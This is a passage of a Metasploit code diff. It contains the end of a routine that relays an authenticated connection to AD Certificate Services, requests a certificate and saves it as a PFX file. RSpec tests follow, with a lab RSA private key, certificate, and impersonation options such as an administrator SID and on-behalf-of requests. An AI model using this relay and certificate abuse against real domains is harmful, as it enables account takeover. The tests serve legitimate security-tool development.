print_status("Certificate already created for #{relay_identity} using #{cert_template}, skipping...")
|
||||
return nil
|
||||
end
|
||||
|
||||
vprint_status("Creating certificate request for #{relay_identity} using the #{cert_template} template")
|
||||
private_key = OpenSSL::PKey::RSA.new(4096)
|
||||
request = create_csr(private_key, cert_template)
|
||||
cert_template_string = "CertificateTemplate:#{cert_template}"
|
||||
vprint_status('Requesting relay target generate certificate...')
|
||||
res = send_request_raw(
|
||||
{
|
||||
'client' => relay_connection,
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'certfnsh.asp'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' => {
|
||||
'Mode' => 'newreq',
|
||||
'CertRequest' => request.to_s,
|
||||
'CertAttrib' => cert_template_string,
|
||||
'TargetStoreFlags' => 0,
|
||||
'SaveCert' => 'yes',
|
||||
'ThumbPrint' => ''
|
||||
},
|
||||
'cgi' => true
|
||||
}
|
||||
)
|
||||
if res&.code == 200 && !res.body.include?('request was denied')
|
||||
print_good("Certificate generated using template #{cert_template} and #{relay_identity}")
|
||||
add_cert_entry(relay_identity, cert_template)
|
||||
else
|
||||
print_bad("Certificate request denied using template #{cert_template} and #{relay_identity}")
|
||||
return nil
|
||||
end
|
||||
|
||||
location_tag = res.body.match(/^.*location="(.*)"/)[1]
|
||||
location_uri = normalize_uri(target_uri, location_tag)
|
||||
vprint_status("Attempting to download the certificate from #{location_uri}")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'client' => relay_connection,
|
||||
'method' => 'GET',
|
||||
'uri' => location_uri
|
||||
}
|
||||
)
|
||||
info = "#{relay_identity} Certificate"
|
||||
certificate = OpenSSL::X509::Certificate.new(res.body)
|
||||
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, certificate)
|
||||
stored_path = store_loot('windows.ad.cs',
|
||||
'application/x-pkcs12',
|
||||
relay_connection.target.ip,
|
||||
pkcs12.to_der,
|
||||
'certificate.pfx',
|
||||
info)
|
||||
print_good("Certificate for #{relay_identity} using template #{cert_template} saved to #{stored_path}")
|
||||
certificate
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,366 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'spec_helper'
|
||||
require 'msf/core/exploit/remote/cert_request'
|
||||
|
||||
RSpec.describe Msf::Exploit::Remote::CertRequest do
|
||||
include_context 'Msf::Simple::Framework'
|
||||
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
allow(subject).to receive(:framework).and_return(framework)
|
||||
allow(subject).to receive(:vprint_status)
|
||||
end
|
||||
|
||||
let(:rsa_key) do
|
||||
OpenSSL::PKey::RSA.new(<<~KEY)
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN
|
||||
Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM
|
||||
MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI
|
||||
G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7
|
||||
3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6
|
||||
B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9
|
||||
OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX
|
||||
pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm
|
||||
/hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs
|
||||
5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx
|
||||
VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h
|
||||
SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94
|
||||
MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX
|
||||
xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5
|
||||
hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g
|
||||
m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ
|
||||
/NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt
|
||||
NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib
|
||||
KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M
|
||||
IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG
|
||||
2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe
|
||||
VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+
|
||||
syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8
|
||||
aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO
|
||||
C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
KEY
|
||||
end
|
||||
|
||||
let(:pkcs12_certificate) do
|
||||
OpenSSL::X509::Certificate.new(<<~CERTIFICATE)
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF
|
||||
ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs
|
||||
YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx
|
||||
MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk
|
||||
ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs
|
||||
ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG
|
||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9
|
||||
j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg
|
||||
6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l
|
||||
l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD
|
||||
jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx
|
||||
idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4
|
||||
MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU
|
||||
uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk
|
||||
YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL
|
||||
ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z
|
||||
ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq
|
||||
ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv
|
||||
MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD
|
||||
Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
|
||||
cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
|
||||
ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw
|
||||
PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX
|
||||
hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG
|
||||
CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH
|
||||
AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud
|
||||
EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp
|
||||
ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB
|
||||
oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx
|
||||
MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC
|
||||
AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx
|
||||
2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp
|
||||
rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN
|
||||
3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL
|
||||
bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu
|
||||
bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ
|
||||
MPqLl/D4OpKpcKz8
|
||||
-----END CERTIFICATE-----
|
||||
CERTIFICATE
|
||||
end
|
||||
|
||||
describe '#create_csr' do
|
||||
context 'with a private key supplied via opts' do
|
||||
it 'returns an OpenSSL::X509::Request' do
|
||||
result = subject.create_csr(username: 'alice', private_key: rsa_key)
|
||||
expect(result).to be_a(OpenSSL::X509::Request)
|
||||
end
|
||||
|
||||
it 'signs the CSR with the provided key' do
|
||||
result = subject.create_csr(username: 'alice', private_key: rsa_key)
|
||||
expect(result.verify(rsa_key.public_key)).to be true
|
||||
end
|
||||
|
||||
it 'sets the CN to the provided username' do
|
||||
result = subject.create_csr(username: 'alice', private_key: rsa_key)
|
||||
expect(result.subject.to_s).to include('alice')
|
||||
end
|
||||
|
||||
context 'when the key size matches the expected rsa_key_size' do
|
||||
it 'does not log an error' do
|
||||
expect(subject).not_to receive(:elog)
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 2048)
|
||||
end
|
||||
|
||||
it 'returns a CSR' do
|
||||
result = subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 2048)
|
||||
expect(result).to be_a(OpenSSL::X509::Request)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the key size does not match the expected rsa_key_size' do
|
||||
it 'logs an error' do
|
||||
expect(subject).to receive(:elog).with('RSA key size mismatch')
|
||||
expect { subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 4096) }.to raise_error(ArgumentError)
|
||||
end
|
||||
|
||||
it 'raises ArgumentError' do
|
||||
expect { subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 4096) }.to raise_error(ArgumentError, /RSA key size mismatch/)
|
||||
end
|
||||
|
||||
it 'does not build a CSR' do
|
||||
expect(Rex::Proto::X509::Request).not_to receive(:build_csr)
|
||||
expect { subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 4096) }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the key size does not match the datastore rsa_key_size' do
|
||||
before { subject.datastore['RSAKeySize'] = '4096' }
|
||||
|
||||
it 'raises ArgumentError' do
|
||||
expect { subject.create_csr(username: 'alice', private_key: rsa_key) }.to raise_error(ArgumentError, /RSA key size mismatch/)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when no private key is supplied' do
|
||||
it 'generates a new RSA key' do
|
||||
expect(OpenSSL::PKey::RSA).to receive(:new).with(2048).and_return(rsa_key)
|
||||
subject.create_csr(username: 'alice')
|
||||
end
|
||||
|
||||
it 'returns a valid OpenSSL::X509::Request' do
|
||||
result = subject.create_csr(username: 'alice')
|
||||
expect(result).to be_a(OpenSSL::X509::Request)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with rsa_key_size supplied via opts' do
|
||||
it 'generates a key with the specified size' do
|
||||
allow(rsa_key).to receive(:n).and_return(double('OpenSSL::BN', num_bits: 4096))
|
||||
expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_return(rsa_key)
|
||||
subject.create_csr(username: 'alice', rsa_key_size: 4096)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with rsa_key_size supplied via datastore' do
|
||||
before { subject.datastore['RSAKeySize'] = '4096' }
|
||||
|
||||
it 'generates a key with the datastore size' do
|
||||
allow(rsa_key).to receive(:n).and_return(double('OpenSSL::BN', num_bits: 4096))
|
||||
expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_return(rsa_key)
|
||||
subject.create_csr(username: 'alice')
|
||||
end
|
||||
end
|
||||
|
||||
context 'with algorithm supplied via opts' do
|
||||
it 'passes the algorithm to build_csr' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(algorithm: 'SHA512')).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key, algorithm: 'SHA512')
|
||||
end
|
||||
end
|
||||
|
||||
context 'with algorithm supplied via datastore' do
|
||||
before { subject.datastore['DigestAlgorithm'] = 'SHA512' }
|
||||
|
||||
it 'passes the datastore algorithm to build_csr' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(algorithm: 'SHA512')).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with alt_dns supplied via opts' do
|
||||
it 'passes alt_dns to build_csr' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(dns: 'host.example.com')).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key, alt_dns: 'host.example.com')
|
||||
end
|
||||
end
|
||||
|
||||
context 'with alt_dns supplied via datastore' do
|
||||
before { subject.datastore['ALT_DNS'] = 'host.example.com' }
|
||||
|
||||
it 'passes alt_dns from the datastore to build_csr' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(dns: 'host.example.com')).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with alt_upn supplied via opts' do
|
||||
it 'passes alt_upn to build_csr' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_upn: 'alice@example.com')).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key, alt_upn: 'alice@example.com')
|
||||
end
|
||||
end
|
||||
|
||||
context 'with alt_upn supplied via datastore' do
|
||||
before { subject.datastore['ALT_UPN'] = 'alice@example.com' }
|
||||
|
||||
it 'passes alt_upn from the datastore to build_csr' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_upn: 'alice@example.com')).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with alt_sid supplied via opts' do
|
||||
it 'passes alt_sid to build_csr' do
|
||||
sid = 'S-1-5-21-1234567890-1234567890-1234567890-500'
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_sid: sid)).and_return(double('csr', to_der: ''))
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key, alt_sid: sid)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with alt_sid supplied via datastore' do
|
||||
let(:sid) { 'S-1-5-21-1234567890-1234567890-1234567890-500' }
|
||||
before { subject.datastore['ALT_SID'] = sid }
|
||||
|
||||
it 'passes alt_sid from the datastore to build_csr' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_sid: sid)).and_return(double('csr', to_der: ''))
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with application policies supplied via opts' do
|
||||
it 'passes application policies to build_csr' do
|
||||
policies = ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4']
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(application_policies: policies)).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key, add_cert_app_policy: policies)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with application policies supplied via datastore as semicolon-separated string' do
|
||||
before { subject.datastore['ADD_CERT_APP_POLICY'] = '1.3.6.1.5.5.7.3.2;1.3.6.1.5.5.7.3.4' }
|
||||
|
||||
it 'splits and passes application policies from datastore to build_csr' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(
|
||||
hash_including(application_policies: ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4'])
|
||||
).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with application policies supplied via datastore as comma-separated string' do
|
||||
before { subject.datastore['ADD_CERT_APP_POLICY'] = '1.3.6.1.5.5.7.3.2, 1.3.6.1.5.5.7.3.4' }
|
||||
|
||||
it 'splits and passes application policies from datastore to build_csr' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(
|
||||
hash_including(application_policies: ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4'])
|
||||
).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with pkcs12 and on_behalf_of supplied via opts' do
|
||||
let(:pkcs12) do
|
||||
pkcs12_obj = double('OpenSSL::PKCS12')
|
||||
allow(pkcs12_obj).to receive(:certificate).and_return(pkcs12_certificate)
|
||||
allow(pkcs12_obj).to receive(:key).and_return(rsa_key)
|
||||
pkcs12_obj
|
||||
end
|
||||
|
||||
it 'calls build_on_behalf_of and returns a ContentInfo object' do
|
||||
result = subject.create_csr(
|
||||
username: 'alice',
|
||||
private_key: rsa_key,
|
||||
pkcs12: pkcs12,
|
||||
on_behalf_of: 'DOMAIN\\administrator'
|
||||
)
|
||||
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
|
||||
end
|
||||
|
||||
it 'passes on_behalf_of to build_on_behalf_of' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_on_behalf_of).with(
|
||||
hash_including(on_behalf_of: 'DOMAIN\\administrator')
|
||||
).and_call_original
|
||||
subject.create_csr(
|
||||
username: 'alice',
|
||||
private_key: rsa_key,
|
||||
pkcs12: pkcs12,
|
||||
on_behalf_of: 'DOMAIN\\administrator'
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with pkcs12 but no on_behalf_of' do
|
||||
let(:pkcs12) do
|
||||
pkcs12_obj = double('OpenSSL::PKCS12')
|
||||
allow(pkcs12_obj).to receive(:certificate).and_return(pkcs12_certificate)
|
||||
allow(pkcs12_obj).to receive(:key).and_return(rsa_key)
|
||||
pkcs12_obj
|
||||
end
|
||||
|
||||
it 'skips build_on_behalf_of and returns a plain CSR' do
|
||||
expect(Rex::Proto::X509::Request).not_to receive(:build_on_behalf_of)
|
||||
result = subject.create_csr(username: 'alice', private_key: rsa_key, pkcs12: pkcs12)
|
||||
expect(result).to be_a(OpenSSL::X509::Request)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with on_behalf_of but no pkcs12' do
|
||||
it 'skips build_on_behalf_of and returns a plain CSR' do
|
||||
expect(Rex::Proto::X509::Request).not_to receive(:build_on_behalf_of)
|
||||
result = subject.create_csr(
|
||||
username: 'alice',
|
||||
private_key: rsa_key,
|
||||
on_behalf_of: 'DOMAIN\\administrator'
|
||||
)
|
||||
expect(result).to be_a(OpenSSL::X509::Request)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with on_behalf_of supplied via datastore' do
|
||||
let(:pkcs12) do
|
||||
pkcs12_obj = double('OpenSSL::PKCS12')
|
||||
allow(pkcs12_obj).to receive(:certificate).and_return(pkcs12_certificate)
|
||||
allow(pkcs12_obj).to receive(:key).and_return(rsa_key)
|
||||
pkcs12_obj
|
||||
end
|
||||
|
||||
before { subject.datastore['ON_BEHALF_OF'] = 'DOMAIN\\administrator' }
|
||||
|
||||
it 'reads on_behalf_of from the datastore' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_on_behalf_of).with(
|
||||
hash_including(on_behalf_of: 'DOMAIN\\administrator')
|
||||
).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key, pkcs12: pkcs12)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with default datastore values (all blank)' do
|
||||
it 'uses SHA256 as the default digest algorithm' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(algorithm: 'SHA256')).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key)
|
||||
end
|
||||
|
||||
it 'passes nil for dns, sid, and upn' do
|
||||
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(
|
||||
hash_including(dns: nil, msext_sid: nil, msext_upn: nil)
|
||||
).and_call_original
|
||||
subject.create_csr(username: 'alice', private_key: rsa_key)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,342 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'spec_helper'
|
||||
require 'msf/core/exploit/remote/http/web_enrollment'
|
||||
|
||||
RSpec.describe Msf::Exploit::Remote::HTTP::WebEnrollment do
|
||||
include_context 'Msf::Simple::Framework'
|
||||
|
||||
subject do
|
||||
klass = Class.new(Msf::Exploit) do
|
||||
include Msf::Exploit::Remote::HTTP::WebEnrollment
|
||||
|
||||
# Stubs for HTTP-client methods not present on Msf::Exploit
|
||||
def normalize_uri(*parts)
|
||||
parts.join('/').gsub(%r{/+}, '/')
|
||||
end
|
||||
|
||||
def target_uri
|
||||
'/certsrv/'
|
||||
end
|
||||
|
||||
def send_request_raw(_opts = {})
|
||||
nil
|
||||
end
|
||||
|
||||
def store_loot(_name, _type, _host, _data, _filename, _info)
|
||||
'/tmp/cert.pfx'
|
||||
end
|
||||
end
|
||||
mod = klass.new
|
||||
allow(mod).to receive(:vprint_status)
|
||||
allow(mod).to receive(:vprint_good)
|
||||
allow(mod).to receive(:vprint_error)
|
||||
allow(mod).to receive(:print_good)
|
||||
allow(mod).to receive(:print_status)
|
||||
allow(mod).to receive(:print_warning)
|
||||
allow(mod).to receive(:print_error)
|
||||
allow(mod).to receive(:print_bad)
|
||||
allow(mod).to receive(:elog)
|
||||
allow(mod).to receive(:framework).and_return(framework)
|
||||
mod
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '#add_cert_entry' do
|
||||
before { subject.instance_variable_set(:@issued_certs, {}) }
|
||||
|
||||
context 'when connection_identity is new' do
|
||||
it 'creates a new array with the cert_template' do
|
||||
subject.add_cert_entry('DOMAIN\\user', 'UserTemplate')
|
||||
expect(subject.instance_variable_get(:@issued_certs)).to eq({ 'DOMAIN\\user' => ['UserTemplate'] })
|
||||
end
|
||||
end
|
||||
|
||||
context 'when connection_identity already exists' do
|
||||
before { subject.add_cert_entry('DOMAIN\\user', 'UserTemplate') }
|
||||
|
||||
it 'appends the new cert_template' do
|
||||
subject.add_cert_entry('DOMAIN\\user', 'AdminTemplate')
|
||||
expect(subject.instance_variable_get(:@issued_certs)['DOMAIN\\user']).to contain_exactly('UserTemplate', 'AdminTemplate')
|
||||
end
|
||||
end
|
||||
|
||||
context 'with multiple distinct identities' do
|
||||
it 'keeps them separate' do
|
||||
subject.add_cert_entry('DOMAIN\\alice', 'UserTemplate')
|
||||
subject.add_cert_entry('DOMAIN\\bob', 'AdminTemplate')
|
||||
issued = subject.instance_variable_get(:@issued_certs)
|
||||
expect(issued['DOMAIN\\alice']).to eq(['UserTemplate'])
|
||||
expect(issued['DOMAIN\\bob']).to eq(['AdminTemplate'])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '#cert_issued?' do
|
||||
before { subject.instance_variable_set(:@issued_certs, {}) }
|
||||
|
||||
context 'when no certs have been issued' do
|
||||
it 'returns false' do
|
||||
expect(subject.cert_issued?('DOMAIN\\user', 'UserTemplate')).to be false
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a cert has been issued for the identity' do
|
||||
before { subject.add_cert_entry('DOMAIN\\user', 'UserTemplate') }
|
||||
|
||||
it 'returns true for the issued template' do
|
||||
expect(subject.cert_issued?('DOMAIN\\user', 'UserTemplate')).to be true
|
||||
end
|
||||
|
||||
it 'returns false for a different template' do
|
||||
expect(subject.cert_issued?('DOMAIN\\user', 'AdminTemplate')).to be false
|
||||
end
|
||||
|
||||
it 'returns false for a different identity' do
|
||||
expect(subject.cert_issued?('DOMAIN\\other', 'UserTemplate')).to be false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '#get_cert_templates' do
|
||||
let(:authenticated_client) { double('authenticated_client') }
|
||||
|
||||
context 'when the response is nil' do
|
||||
before { allow(subject).to receive(:send_request_raw).and_return(nil) }
|
||||
|
||||
it 'returns nil' do
|
||||
expect(subject.get_cert_templates(authenticated_client)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the response code is not 200' do
|
||||
let(:res) { double('response', code: 403, body: '') }
|
||||
|
||||
before { allow(subject).to receive(:send_request_raw).and_return(res) }
|
||||
|
||||
it 'returns nil' do
|
||||
expect(subject.get_cert_templates(authenticated_client)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the response is 200 with template entries' do
|
||||
let(:body) do
|
||||
<<~HTML
|
||||
<option value="">Select a Certificate Template</option>
|
||||
Option Value="E;UserTemplate;1.2.3.4"
|
||||
Option Value="O;AdminTemplate;5.6.7.8"
|
||||
HTML
|
||||
end
|
||||
let(:res) { double('response', code: 200, body: body) }
|
||||
|
||||
before { allow(subject).to receive(:send_request_raw).and_return(res) }
|
||||
|
||||
it 'returns the extracted template names' do
|
||||
expect(subject.get_cert_templates(authenticated_client)).to contain_exactly('UserTemplate', 'AdminTemplate')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the response is 200 with no template entries' do
|
||||
let(:res) { double('response', code: 200, body: '<html>no templates here</html>') }
|
||||
|
||||
before { allow(subject).to receive(:send_request_raw).and_return(res) }
|
||||
|
||||
it 'returns an empty array' do
|
||||
expect(subject.get_cert_templates(authenticated_client)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the response body has mixed E and O prefix entries' do
|
||||
let(:body) do
|
||||
"Option Value=\"E;TemplateE;1.1\"\nOption Value=\"O;TemplateO;2.2\"\n"
|
||||
end
|
||||
let(:res) { double('response', code: 200, body: body) }
|
||||
|
||||
before { allow(subject).to receive(:send_request_raw).and_return(res) }
|
||||
|
||||
it 'extracts both E and O prefixed templates' do
|
||||
result = subject.get_cert_templates(authenticated_client)
|
||||
expect(result).to include('TemplateE', 'TemplateO')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '#retrieve_certs' do
|
||||
let(:authenticated_client) { double('authenticated_client') }
|
||||
|
||||
it 'calls retrieve_cert for each template' do
|
||||
templates = %w[UserTemplate AdminTemplate]
|
||||
templates.each do |t|
|
||||
expect(subject).to receive(:retrieve_cert).with('192.168.1.1', authenticated_client, 'DOMAIN\\user', t)
|
||||
end
|
||||
subject.retrieve_certs('192.168.1.1', authenticated_client, 'DOMAIN\\user', templates)
|
||||
end
|
||||
|
||||
it 'does nothing when the template list is empty' do
|
||||
expect(subject).not_to receive(:retrieve_cert)
|
||||
subject.retrieve_certs('192.168.1.1', authenticated_client, 'DOMAIN\\user', [])
